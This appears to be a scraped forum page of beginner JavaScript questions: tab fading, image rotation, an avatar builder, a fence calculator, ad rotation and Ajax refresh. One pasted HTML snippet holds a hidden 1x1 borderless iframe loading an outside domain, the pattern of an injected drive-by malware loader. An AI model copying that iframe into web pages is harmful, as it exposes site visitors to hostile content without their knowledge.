|
JavaScript - Java Tabs Issues, Cant Get Fade Or Rotate To Work
here's the code i've got to make some tabbed content on my website:
Code: $(document).ready(function(){
$('#headingHome div').hide(); // Hide all divs
$('#headingHome div:first').show(); // Show the first div
$('.ticker_buttonP a:first').addClass('active'); // Set the class of the first link to active
$('.ticker_buttonP a').click(function(){ //When any link is clicked
$('.ticker_buttonP a').removeClass('active'); // Remove active class from all links
$(this).addClass('active'); //Set clicked link class to active
var currentTab = $(this).attr('href'); // Set variable currentTab to value of href attribute of clicked link
$('#headingHome div').hide(); // Hide all divs
$(currentTab).show(); // Show div with id equal to variable currentTab
return false;
});
});
and my html (all content removed for size's sake): Code: <div id="headingHome"> <div id="first"></div><!-- /first --> <div id="second"></div><!-- /second --> <div id="third"></div><!-- /third --> <div id="fourth"></div><!-- /fourth --> <div id="fifth"></div><!-- /fifth --> <p class="ticker_buttonP"> <a href="#first"></a> <a href="#second"></a> <a href="#third"></a> <a href="#fourth"></a> <a href="#fifth"></a> </p> </div><!-- /headingHome --> that works fine so far, however i want the content to fade in and out when the tabs change, and i also want the tabs to rotate automatically like seen on this site: http://www.sosfactory.com/ I'm new to this, and I cant find anything on the net about it that i can understand enough to put it together. could anyone help me, please? many thanks Similar TutorialsHello all, I made a fade script that will fade any element in or out. Works great on all browser I've tested but IE 7. With IE I have only tested this will IE 8 and IE 7. IE 7 the effect doesn't work. No error message or anything. I'm unsure what to do from here. I was hoping I could find some help here. Code: function fade(obj, duration, toggle) {
steps = 1000;
elem = document.getElementById(obj);
function fadeIn() {
for(var i = 0; i <= 1; i+=(1/steps)) {
setTimeout("elem.style.opacity = "+ i +"", i * duration);
setTimeout("elem.style.filter='alpha(opacity="+ i * 102 +")'", i * duration);
}
}
function fadeOut() {
for(var i = 0; i <= 1; i+=(1/steps)) {
setTimeout("elem.style.opacity = "+ (1-i) +"", i * duration);
setTimeout("elem.style.filter='alpha(opacity="+ (1-i) * 102 +")'", i * duration);
}
}
/* One for Fade in and anything will be fade out*/
if(toggle == 1) {
fadeIn();
}
else {
fadeOut();
}
}
Thanks, Jon W I am using a script I found and trying to make some changes. It is a avatar creating script that will put a face together. The tabs are different parts of the face. The problem is I don't want all the different hair colors and styles to show and in the color tab when you click a color it will bring up the hair styles in that color only in the next tab. I have tried if(isset($_GET['color'])) { but this is only showing the first color style cant it to work. So then tried to use switch like this PHP Code: <p> <span name="color"> <img src="herotmb/color0.png" alt="" /><input name="avatar[color]" type="radio" value="black" id="black" onclick="swapImage(this);" /> <img src="herotmb/color1.png" alt="" /><input name="avatar[color]" type="radio" value="brown" id="brown" onclick="swapImage(this);" /> <img src="herotmb/color2.png" alt="" /><input name="avatar[color]" type="radio" value="darkbrown" id="darkbrown" onclick="swapImage(this);" /> <img src="herotmb/color3.png" alt="" /><input name="avatar[color]" type="radio" value="yellow" id="red" onclick="swapImage(this);" /> <img src="herotmb/color4.png" alt="" /><input name="avatar[color]" type="radio" value="red" id="yellow" onclick="swapImage(this);" /> </span> </p> <?php switch(id){ case 'BLACK': echo ' <p> <img src="heroimg/hair0-black.png" alt="" /><input name="avatar[hair]" type="radio" value="hair0-black" /> <img src="herotmb/hair1-black.png" alt="" /><input name="avatar[hair]" type="radio" value="hair1-black" /> <img src="herotmb/hair2-black.png" alt="" /><input name="avatar[hair]" type="radio" value="hair2-black" /> <img src="herotmb/hair3-black.png" alt="" /><input name="avatar[hair]" type="radio" value="hair3-black" /> <img src="herotmb/hair4-black.png" alt="" /><input name="avatar[hair]" type="radio" value="hair4-black" /> <img src="herotmb/hairNone-black.png" alt="" /><input name="avatar[hair]" type="radio" value="hairNone" /> </p>'; break; case 'BROWN': echo ' <p> <img src="herotmb/hair0-brown.png" alt="" /><input name="avatar[hair]" type="radio" value="hair0-brown" /> <img src="herotmb/hair1-brown.png" alt="" /><input name="avatar[hair]" type="radio" value="hair1-brown" /> <img src="herotmb/hair2-brown.png" alt="" /><input name="avatar[hair]" type="radio" value="hair2-brown" /> <img src="herotmb/hair3-brown.png" alt="" /><input name="avatar[hair]" type="radio" value="hair3-brown" /> <img src="herotmb/hair4-brown.png" alt="" /><input name="avatar[hair]" type="radio" value="hair4-brown" /> <img src="herotmb/hairNone-brown.png" alt="" /><input name="avatar[hair]" type="radio" value="hairNone" /> </p>'; break; case 'DARKBROWN': echo ' <p> <img src="herotmb/hair0-darkbrown.png" alt="" /><input name="avatar[hair]" type="radio" value="hair0-darkbrown" /> <img src="herotmb/hair1-darkbrown.png" alt="" /><input name="avatar[hair]" type="radio" value="hair1-darkbrown" /> <img src="herotmb/hair2-darkbrown.png" alt="" /><input name="avatar[hair]" type="radio" value="hair2-darkbrown" /> <img src="herotmb/hair3-darkbrown.png" alt="" /><input name="avatar[hair]" type="radio" value="hair3-darkbrown" /> <img src="herotmb/hair4-darkbrown.png" alt="" /><input name="avatar[hair]" type="radio" value="hair4-darkbrown" /> <img src="herotmb/hairNone-darkbrown.png" alt="" /><input name="avatar[hair]" type="radio" value="hairNone" /> </p>'; break; case 'RED': echo ' <p> <img src="herotmb/hair0-red.png" alt="" /><input name="avatar[hair]" type="radio" value="hair0-red" /> <img src="herotmb/hair1-red.png" alt="" /><input name="avatar[hair]" type="radio" value="hair1-red" /> <img src="herotmb/hair2-red.png" alt="" /><input name="avatar[hair]" type="radio" value="hair2-red" /> <img src="herotmb/hair3-red.png" alt="" /><input name="avatar[hair]" type="radio" value="hair3-red" /> <img src="herotmb/hair4-red.png" alt="" /><input name="avatar[hair]" type="radio" value="hair4-red" /> <img src="herotmb/hairNone-red.png" alt="" /><input name="avatar[hair]" type="radio" value="hairNone" /> </p>'; break; case 'YELLOW': echo ' <p> <img src="herotmb/hair0-yellow.png" alt="" /><input name="avatar[hair]" type="radio" value="hair0-yellow" /> <img src="herotmb/hair1-yellow.png" alt="" /><input name="avatar[hair]" type="radio" value="hair1-yellow" /> <img src="herotmb/hair2-yellow.png" alt="" /><input name="avatar[hair]" type="radio" value="hair2-yellow" /> <img src="herotmb/hair3-yellow.png" alt="" /><input name="avatar[hair]" type="radio" value="hair3-yellow" /> <img src="herotmb/hair4-yellow.png" alt="" /><input name="avatar[hair]" type="radio" value="hair4-yellow" /> <img src="herotmb/hairNone-yellow.png" alt="" /><input name="avatar[hair]" type="radio" value="hairNone" /> </p>'; } ?> nothing shows up. I have searched and found this and tried it but get more errors because I'm not just using images Code: http://www.codingforums.com/showthread.php?t=205694 How can I get this to work ? I have to create a fence price calculator for a class at school and I cannot quite figure it out. I says the error is at line 13. Here is my code, this is due at midnight if someone can tell me whats wrong that would be great! <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1-strict.dtd"> <html xmlns = "http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content_Type" content="text/html; charset=utf-8"/> <title> Fence Pricing </title> </head> <body text align=center> <link type="text/css" rel="stylesheet" href="stylesheet.css"/> <script> var price, perimeter; var length = document.fen2.len.value; var width = document.fen3.wid.value; var fencing; var taxRate = 0.09; var gate = 1; perimeter=2*length+2*width </script> <h1>Fence Price Calculator</h1> <p> Please enter your yard's dimensions, the type of fence you would like and how many gates you need. We will calculate the price based on your info. </p> <div> <center> <table> <tr> <td>LENGTH</td> <td>FENCE TYPE</td> <td># OF GATES</td> <td></td> </tr> <tr> <td><form="fen2"><input type="text" name="len"></td></form> <td><button form="fen" onclick='fencing="wooden"'>WOODEN</button></td> <td><button form="fen" onclick='gate=1'>1</button></td> <td><button form="fen" onclick=''>CLEAR</button></td> </tr> <tr> <td>WIDTH</td> <td><button form="fen" onclick='fencing="chainlink"'>CHAINLINK</button></td> <td><button form="fen" onclick='gate=2'>2</button></td> <td><button form="fen" onclick=' if(fencing == "wooden") { price = perimeter*35; } if(fencing == "chainlink") { price = perimeter*25; } price = price + gate*165; price = price + price*taxRate; disp.value=price; '>CALCULATE</button></td> </tr> <tr> <td><form="fen3"><input type="text" name="wid"></td></form> <td></td> <td><button form="fen" onclick='gate=3'>3</button></td> <td><form name="fen"><input type="text" id="disp" size="5" value="0.00" onchange='price'></td></form> </tr> </div> </table> </center> </body> </html> This is a really awesome script that I'm sure all of you can put to use if you haven't yet heard of it. However, I'm trying to get it to fade a background image on my css styled navigation for my a:hover. Here is the script with a little simple tutorial on how to set it up: http://bavotasan.com/tutorials/creat...r-fade-effect/ My only other knowledge is in PHP, so after about 2 hours of fail in this client-side language, I decided it was about time I should post where some experienced people can help. I really appreciate all time you spend on this, and don't think it will take a moderate Javascript programmer very long. This is the link to my site so far: http://matt.mw/help-request You can see the script working as it is on my little yellow MW logo on the right side of the navigation. So in my scenario, I am looking to fade button.png to button-hover.png (both repeating on the x axis). Any ideas? Hi every one... i have code to upload text contains in html page , but its not working in mozila , can see in IE , anyone has any idea? <html> <head> <style type="text/css"> p { white-spacere; } </style> <script type="text/javascript" language="javascript"> function Read() { //document.getElementByIdstyle("a").whiteSpace="pre"; var Scr = new ActiveXObject("Scripting.FileSystemObject"); var CTF = Scr .OpenTextFile("C:\\Documents and Settings\\Administrator\\Desktop\\2011-03-02.txt", 1, true); data = CTF .ReadAll(); data=data.replace(/\r?\n/g,"<br>"); //<p> document.write("<pre>" + data + "</pre>"); //</p> CTF .Close(); } </script> </head> <body onLoad="Read()" > <p> </p> <iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe> </body> </html> " Hello, I'm learning javascript, and was wondering if it was Possible to have buttons/links that you click, the whole page fades out, and then fade's in, with different stuff. here are my ideas for just changing the stuff Text: 1. having a javascript src file to start, and then when the button is clicked, that is formatted to white, the text layer is moved down, and a new javascript file is loaded? 2.variables? any help would be appreciated! Thanks, Cookies, whatever this forum gives out, you may receive! Hi, I'm trying to put some kind of code for some kind of facebook game but then the problem that I'm having is this code kinda broken now, which is mean not really support to the new facebook platform or new version of facebook and the facebook game have change many links in itself I try to update it but never success on this project, if someone could assist me where to start or what to do please do so will be much appreciate for the help in advance Code: javascript:(
function() {
var d, url, t, i;
d = window.open().document;
url = location.href;
d.write('<p>');
if (url.match(/clearance/))
{
var user_id;
var pets, li, im;
var pet_link, pet_id, pet_name, pet_seller, pet_price;
t = document.getElementById('app7019261521_my_monies')
.getElementsByTagName('a')[0].getAttribute('href');
user_id = t.substr(t.lastIndexOf("/") + 1);
d.write(' HotBuys</p>');
d.write('<table><tr><td valign="top"><table>');
pets = document.getElementsByClassName('user-item on_sale');
for (i = 0; i < pets.length; i++)
{
im = pets[i].getElementsByTagName('img');
if (im.length > 0) {
t = im[0].getAttribute('src');
}
else
{
t = "http://static.ak.fbcdn.net/pics/s_silhouette.jpg"
}
li = pets[i].getElementsByClassName('text')[0].getElementsByTagName('li');
pet_link = li[0].getElementsByTagName('a')[0].getAttribute('href');
pet_id = pet_link.substr(pet_link.lastIndexOf("/") + 1);
pet_name = li[0].getElementsByTagName('a')[0].firstChild.nodeValue;
pet_price = li[1].getElementsByClassName('money')[0].firstChild.nodeValue;
if (i%5 == 0)
{
d.write('<tr>');
}
d.write('<td width="100px" valign="top">');
d.write('<a style="font-size:60%" rel="nofollow" target="P" href="' + pet_link + '">');
d.write('<img width="100" height="100" src="' + t + '"/></a><br/>');
d.write('<a style="font-size:60%" rel="nofollow" target="P" href="' + pet_link + '">' + pet_name + '</a><br/>');
d.write('<span style="font-size:70%">' + pet_price + '</span>');
d.write('<table><tr><td>');
d.write('<form method="post" rel="nofollow" target="P" action="http://apps.facebook.com/friendsforsale/users/buy/'
+ pet_id + '">');
d.write('<input name="buyer_id" type="hidden" value="' + user_id + '"/>');
d.write('<input type="submit" value="Buy"/></form></td><td>');
d.write('<form method="post" rel="nofollow" target="Q" action="http://apps.facebook.com/friendsforsale/users/buy/'
+ pet_id + '">');
d.write('<input name="buyer_id" type="hidden" value="' + user_id + '"/>');
d.write('<input type="submit" value="Buy"/></form></td></tr></table></td>');
if (i%5 == 4)
{
d.write('</tr>');
}
}
d.write('</table></td><td valign="top">');
d.write('<iframe name="P" width="400" height="540"></iframe>');
d.write('<iframe name="Q" width="400" height="540"></iframe>');
d.write('</td></tr></table>');
}
else if (url.match(/users\/show/))
{
var user_id, pet_id, pet_name, pet_value, pet_cash;
var info, info_money, title_icon;
var achievements, badges, badge_pages, badge_count, n_tycoon = 0, n_collar = 0;
t = document.getElementById('app7019261521_my_monies')
.getElementsByTagName('a')[0].getAttribute('href');
user_id = t.substr(t.lastIndexOf("/") + 1);
t = url.match(/users\/show\/[0-9]+/)[0];
pet_id = t.substr(t.lastIndexOf("/") + 1);
t = document.title;
pet_name = t.substr(t.lastIndexOf("|") + 2);
info = document.getElementsByClassName("info");
info_money = info[0].getElementsByClassName("money");
pet_value = info_money[0].firstChild.nodeValue;
pet_cash = info_money[1].firstChild.nodeValue;
title_icon = document.getElementsByClassName("general")[0]
.getElementsByClassName("title_icon");
achievements = document.getElementsByClassName("achievements");
if (achievements.length > 0)
{
}
d.write('</span> <span style="color:#777">value:</span> ' + pet_value);
d.write(' <span style="color:#777">cash:</span> ' + pet_cash);
d.write(' <a href="http://apps.facebook.com/friendsforsale/comments?a='
+ user_id + '&b=' + pet_id + '" rel="nofollow" target="P">C2C</a>');
d.write(' <a href="http://apps.facebook.com/friendsforsale/users/admin_dialog/'
+ pet_id + '" rel="nofollow" target="P">AD</a></p>');
d.write('<table border="0" cellpadding="0" cellspacing="0"><tr>');
d.write('<td><form method="post" rel="nofollow" target="P" action="http://apps.facebook.com/friendsforsale/users/buy/'
+ pet_id + '">');
d.write('<input name="buyer_id" type="hidden" value="' + user_id + '"/>');
d.write('<input type="submit" value="Buy"/></form></td>');
d.write('<td><form method="post" rel="nofollow" target="Q" action="http://apps.facebook.com/friendsforsale/users/buy/'
+ pet_id + '">');
d.write('<input name="buyer_id" type="hidden" value="' + user_id + '"/>');
d.write('<input type="submit" value="Buy"/></form></td>');
d.write('<td><form method="post" rel="nofollow" target="P" action="http://apps.facebook.com/friendsforsale/users/update/'
+ pet_id + '">');
d.write('<input name="" type="submit" value="Nick"/><input name="nickname" type="text" size="10"/></form></td>');
d.write('<td><form method="post" rel="nofollow" target="P" action="http://apps.facebook.com/friendsforsale/users/sale/'
+ pet_id + '">');
d.write('<input name="" type="submit" value="Sale"/></form></td>');
d.write('<td><form method="post" rel="nofollow" target="P" action="http://apps.facebook.com/friendsforsale/users/release/'
+ pet_id + '">');
d.write('<input name="" type="submit" value="Free"/></form></td></tr></table>');
d.write('<table border="0" cellpadding="0" cellspacing="0"><tr>');
d.write('<td><form method="post" rel="nofollow" target="P" action="http://apps.facebook.com/friendsforsale/users/'
+ pet_id + '/comments/create">');
d.write('<input name="" type="submit" value="Comment"/><textarea rows="1" col="20" name="comment" type="text" style="vertical-align:top"></textarea></form></td>');
d.write('</tr></table>');
d.write('<iframe name="P" width="400" height="540"></iframe>');
d.write('<iframe name="Q" width="400" height="540"></iframe>');
}
else
{
d.write(' </p>');
}
d.write('</body></html>');
d.close();
} )()
I need to assign a key in the javascript to actually make the javascript work,. I have a bookmark in chrome , a javascript , which actually works when clicked on it .,. but how can i edit it so that i can actually make it work on click a key or combination of keys. i want to declare the key or keycombo in the script itself .,. the script is for catching the selected text on the webpage and opening a new tab(or window) and doing an exact search search of the selected text using google.com .,., So I want it to work it this way ., select the text press a key and it opens a new tab (or window) with an xact search .,. i want to declare the key or keycombo in the script itself .,. the script is for catching the selected text on the webpage and opening a new tab(or window) and doing an exact search search of the selected text using google.com .,., So I want it to work it this way ., select the text press a key and it opens a new tab (or window) with an xact search .,. Thanks in advance ., Nani I am working on a site and essentially what I need to do is to autopost a blog entry that rotates based on each day. For example, Monday posts X, Tuesday posts Y, Wednesday posts Z, Monday posts X again. Much like this site does I know very little about javascript, but was wondering if something like this can be done? Would it be possible (with mootools or jquery) to have homepage that will rotate its home page content forwards and backwards based on either triangle or square? ie, you can rotate through 3, 4, etch home pages? Sort of like a slider, but it rotates off a center axis of the triangle or square? I want to be able to rotate Adsense ads. 3/4 of the time, it will be someone else's. 1/4 of the time, it will be mine (my code is displayed already). However, the code I tried doesn't work. Can someone tell me how to fix this - Code: <script language="JavaScript"> images = new Array(4); //the following string is really all on one line images[0] = '<script type="text/javascript">google_ad_client = "ca-pub-4811954214954647";google_ad_slot = "2713945203";google_ad_width = 728;google_ad_height = 90;</script><script type="text/javascript"src="http: //pagead2.googlesyndication.com/pagead/show_ads.js" ></script>'; images[1] = 'other code'; images[2] = 'other code'; images[3] = 'other code'; index = Math.floor(Math.random() * images.length); document.write(images[index]); //done </script> Hi, I need some help for rotate and zoom image as in link below. any one can help me? http://kroppr.rborn.info/ http://crop.smally.net/ I wonder how we could rotate the div once the page is loaded. I tested it with a click button successfully in FF4.0.1. Yet, when I tried to use <body onload = "r()"> which the func r nested the whole rotate function with its global variables, it failed. Could anyone explain how I can do it automatically? Thanks for any help!!! <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>JS + CSS3: MozTransform rotate</title> </head> <body> <style> .rDiv { width:200px; height:200px; position:absolute; top:40px; left:50px; text-align:center; color:white; line-height:200px; background-color:black; border-radius: 50%; border-styleutset; border-width:5px; border-color:white; /* transform: rotate(-1deg); -ms-transform:rotate(-1deg); -moz-transform:rotate(-1deg); */} .outdiv { width:300px; height:300px; position:absolute; top:0px; left:0px; background-color:grey;} </style> <div class="outdiv"> <div id = "rDiv" class="rDiv">ROTATE</div> </div> <script> var r = document.getElementById('rDiv'); var x = 0; function rotate(){ x += 1; r.style.MozTransform="rotate("+x+"deg)"; } </script> <input style="position:absolute; top:300px;" type="button" onclick="rotate()" value = "click me to rotate it!"/> </body> </html> Hello, I am using the following script on my site RCENO .com in a easyadsense plugin, it is working well, because it is adding the elements after the posts on the page, but instead of rotating (This causes a problem when a Video is playing, and it rotates out in the middle of it) I would like for it to be Random when the posts load or refreshed....This is a Wordpress CMS site that provides News and Event Information to the local area, I am using this to display Holiday Greetings from area merchants in the form of Videos....... Thank You For Your assistance on This <script type="text/javascript"> if (document.all || document.getElementById){ //if IE4 or NS6+ document.write('<style type="text/css">\n') document.write('.dyncontent{display: none; width: 340px; height: 230px;}\n') document.write('</style>') } var curcontentindex=0 var messages=new Array() function getElementByClass(classname){ var inc=0 var alltags=document.all? document.all : document.getElementsByTagName("*") for (i=0; i<alltags.length; i++){ if (alltags[i].className==classname) messages[inc++]=alltags[i] } } function rotatecontent(){ //get current message index (to show it): curcontentindex=(curcontentindex<messages.length-1)? curcontentindex+1 : 0 //get previous message index (to hide it): prevcontentindex=(curcontentindex==0)? messages.length-1 : curcontentindex-1 messages[prevcontentindex].style.display="none" //hide previous message messages[curcontentindex].style.display="block" //show current message } window.onload=function(){ if (document.all || document.getElementById){ getElementByClass("dyncontent") setInterval("rotatecontent()", 75000) } } </script> Season Greetings: <div class="dyncontent" style="display: block">[flv:/files/videos/HolidayGreetings/FamilyVideoGreetings.flv 340 230]</div> <div class="dyncontent">To Add Your Holiday Greetings, Contact Us at Roy@rceno.com or Call (336) 398-6003</div> <div class="dyncontent">Happy Holidays</div> Hi, Is it possible to rotate a dial to follow the mouse cursor? I'm trying to recreate this: http://verbdesign.com/hl/rockwell/index.html but would rather it worked like this: http://www.actionscript.org/resource...-II/Page1.html ...but in javascript. Any help extremely welcome. Thanks, Richard Ok, I am in a small pickle here. I created a sidebar gadget for work originally with only 4 images that needed to cycle though it. Easy enough script done. Now they have 6 images that need to rotate through. Easy enough again, script done. The issue I have is now I have to re-push this updated html file to all 1000 PC's on my network. Plus every time a change is made I will have to do it again. And we change the images multiple times a month. So what I need help doing if its possible is to modify the html file i am listing below to have a second IF parameter that not only steps the image but also checks to see if the file is even there. This is the spot I need help at. Code: function slideit(){
if (!document.images)
return
document.images.slide.src=eval("image"+step+".src")
whichimage=step
if (step<10)
step++
else
step=1
I wanted to add another part to the IF statement like maybe. Code: If (step<10 && file_exists("http://www.akronlibrary.org/Gadget/Gadget Pic 1.bmp"))
Basically a step that checks to see if I have at that moment a file named gadet pic 1. (I would do or statements for all of the file names) The point is to make this whole thing dynamic, so that I change image 1 on the server and every gadget on every PC looking for image 1 now see the new image. This way I just change the image file name when I want a different image to display. Same thing with the var for the slidelink function. points to a static named html file on my web server and I just change the redirect in the static named html file to go where i want it. I am by NO means a programmer, I am actually a network admin that came up with this idea and I am trying to fumble through it. Thanks in advance! Code: <html>
<head>
<meta hrrp-equiv="Content-Type" content="text/html; charset=Unicode" />
<style type="text/css">
body{
margin: 0px;
width: 405px;
height: 205px;
font-family; Georgia;
}
</style>
<script type="text/javascript">
var image1=new Image()
image1.src="http://www.akronlibrary.org/Gadget/Gadget Pic 1.bmp"
var image2=new Image()
image2.src="http://www.akronlibrary.org/Gadget/Gadget Pic 2.bmp"
var image3=new Image()
image3.src="http://www.akronlibrary.org/Gadget/Gadget Pic 3.bmp"
var image4=new Image()
image4.src="http://www.akronlibrary.org/Gadget/Gadget Pic 4.bmp"
var image5=new Image()
image5.src="http://www.akronlibrary.org/Gadget/Gadget Pic 5.bmp"
var image6=new Image()
image6.src="http://www.akronlibrary.org/Gadget/Gadget Pic 6.bmp"
var image7=new Image()
image7.src="http://www.akronlibrary.org/Gadget/Gadget Pic 7.bmp"
var image8=new Image()
image8.src="http://www.akronlibrary.org/Gadget/Gadget Pic 8.bmp"
var image9=new Image()
image9.src="http://www.akronlibrary.org/Gadget/Gadget Pic 9.bmp"
var image10=new Image()
image10.src="http://www.akronlibrary.org/Gadget/Gadget Pic 10.bmp"
</script>
</head>
<body>
<a href="javascript:slidelink()"><img title="Akron-Summit County Public Library" name="slide" /></a>
<script type="text/javascript">
var step=1
var whichimage=1
function slideit(){
if (!document.images)
return
document.images.slide.src=eval("image"+step+".src")
whichimage=step
if (step<10)
step++
else
step=1
setTimeout("slideit()",6000)
}
slideit()
function slidelink(){
if (whichimage==1)
window.location="http://www.akronlibrary.org/Gadget/Gadget Image 1 Link.html"
else if (whichimage==2)
window.location="http://www.akronlibrary.org/Gadget/Gadget Image 2 Link.html"
else if (whichimage==3)
window.location="http://www.akronlibrary.org/Gadget/Gadget Image 3 Link.html"
else if (whichimage==4)
window.location="http://www.akronlibrary.org/Gadget/Gadget Image 4 Link.html"
else if (whichimage==5)
window.location="http://www.akronlibrary.org/Gadget/Gadget Image 5 Link.html"
else if (whichimage==6)
window.location="http://www.akronlibrary.org/Gadget/Gadget Image 6 Link.html"
else if (whichimage==7)
window.location="http://www.akronlibrary.org/Gadget/Gadget Image 7 Link.html"
else if (whichimage==8)
window.location="http://www.akronlibrary.org/Gadget/Gadget Image 8 Link.html"
else if (whichimage==9)
window.location="http://www.akronlibrary.org/Gadget/Gadget Image 9 Link.html"
else if (whichimage==10)
window.location="http://www.akronlibrary.org/Gadget/Gadget Image 10 Link.html"
}
</script>
</body>
</html>
Hi I have this code: <script type="text/javascript"> function Ajax() { var $http, $self = arguments.callee; if (window.XMLHttpRequest) { $http = new XMLHttpRequest(); } else if (window.ActiveXObject) { try { $http = new ActiveXObject('Msxml2.XMLHTTP'); } catch(e) { $http = new ActiveXObject('Microsoft.XMLHTTP'); } } if ($http) { $http.onreadystatechange = function() { if (/4|^complete$/.test($http.readyState)) { document.getElementById('ReloadThis').innerHTML = $http.responseText; setTimeout(function(){$self();}, 20000); } }; $http.open('GET', '../inc/record_count.php' + '?' + new Date().getTime(), true); $http.send(null); } } </script> <script type="text/javascript"> setTimeout(function() {Ajax();}, 1000); </script> Can you help me make this make a fade in effect?? is it possible if you have a div with child divs inside , so i fade out the parent div but the opacity of the child divs stays at 100% ? thank you |
|||||||